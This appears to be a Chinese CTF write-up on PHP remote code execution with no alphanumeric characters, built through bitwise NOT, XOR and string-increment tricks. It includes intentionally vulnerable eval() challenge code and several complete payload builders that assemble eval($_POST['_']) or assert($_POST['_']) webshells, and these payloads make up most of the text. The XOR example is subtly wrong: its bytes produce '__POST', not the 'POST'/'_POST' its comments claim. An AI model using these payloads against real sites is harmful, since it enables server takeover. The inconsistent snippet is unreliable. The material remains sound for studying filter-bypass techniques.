此类rce的过程就是在利用某些方法绕过正则表达式,找到可用字符,然后经过各种变换构建我们想要执行的函数的过程,从而得到我们想get到的结果
取反
取反分为逻辑取反和按位取反
逻辑取反:!
按位取反:~
逻辑取反指的是逻辑上的取反,即是(true !0)变成否(false 0) 或者否变成是
按位取反则是将数值的二进制取反
如:
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`','%'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
在此题黑名单中没有过滤~,可以用取反的方法绕过过滤。
以下php脚本将命令取反后的结果再次取反
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
传入得到的值 执行命令
按位异或
0和1异或0都不变,异或1则取反。很容易理解,如果b中的某位为1,那么a xor b 的作用是在a相应的位进行取反操作。用通俗易懂的语言来讲就是xor运算通常用于对二进制的特定一位进行取反操作。
结果:将把 $a 和 $b 中一个为 1 另一个为 0 的位设为 1。
$a和$b对应每一位进行异或,超出的部分不处理
异或脚本:
<?php
echo "input \"XOR\" object\n";
echo "object A:";
$a = fread(STDIN,1024);
echo "object B:";
$b = fread(STDIN,strlen($a));
echo $a ^ $b ;
自增方法
自增的过程就是
'a'++ => 'b'
'b'++ => 'c'
'c'++ => 'd'
因此,我们只需要获得一个字母a就可以构造所有字母
题目环境
php:5.3.29
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
在此题中正则过滤了$_GET[‘shell’]里的字母和数字后命令执行,那么这道题真的没有解吗?
将字符进行多次变换,得到字母和数字
异或构成一句话
使用异或脚本对_POST
和 ^^^^^
进行异或输出urlencode得到%01%0E%11%0D%0A
,然后构建无符号rce
<?php
$_=("%01"^"^").("%0E"^"^").("%11"^"^").("%0D" ^"^").("%0A"^"^"); //POST
$__='_'.$_; //_POST
$___=('%3B'^'^').('%28'^'^').('%3F'^'^').('@'^','); //eval
$___($__['_']); //eval($_POST['_'])
取反
感谢无言师傅和kam1u师傅的帮助
最开始我用构建eval($_POST[2])的方法进行rce,出现了很多问题。问过大佬才知道assert适用于低版本php,使用eval会出现问题
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___='瞰';
$____.=~($___{$_});
$___='按';
$____.=~($___{$_});
$___='按';
$____.=~($___{$_});
$___='的';
$____.=~($___{$_});
$___='半';
$____.=~($___{$_});
$___='拍';
$____.=~($___{$_});
$_____ = '_';
$___='俯';
$_____.=~($___{$__});
$___='瞰';
$_____.=~($___{$__});
$___='次';
$_____.=~($___{$_});
$___='站';
$_____.=~($___{$_});
$_ = $$_____;
$____($_[$__]);
自增方法
自增的过程就是
'a'++ => 'b'
'b'++ => 'c'
'c'++ => 'd'
因此,我们只需要获得一个字母a就可以构造所有字母
poc: assert($POST[])
<?php
$_=[];
$_=@"$_"; //创建数组Array,为了利用字符串
$_=$_["!"=="@"]; //$_ = "Array"[0]
$__=$_ ; //构建字母A
$___=$_ ; //作为储存assert的变量
$____='_'.$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$___.=$_;
$_=$__;
$_++;$_++;$_++;$_++;
$___ .=$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;
$___.=$_;
$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;
$_=$__ ;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .=$_ ;
$_++;$_++;$_++;$_++;
$____.=$_ ;
$_++;
$____.=$_ ;
$_____=$$____;
$___($_____[_]);
成功
总结
总之,此类rce的过程就是在利用某些方法绕过正则表达式,找到可用字符,然后经过各种变换构建我们想要执行的函数的过程,从而得到我们想get到的结果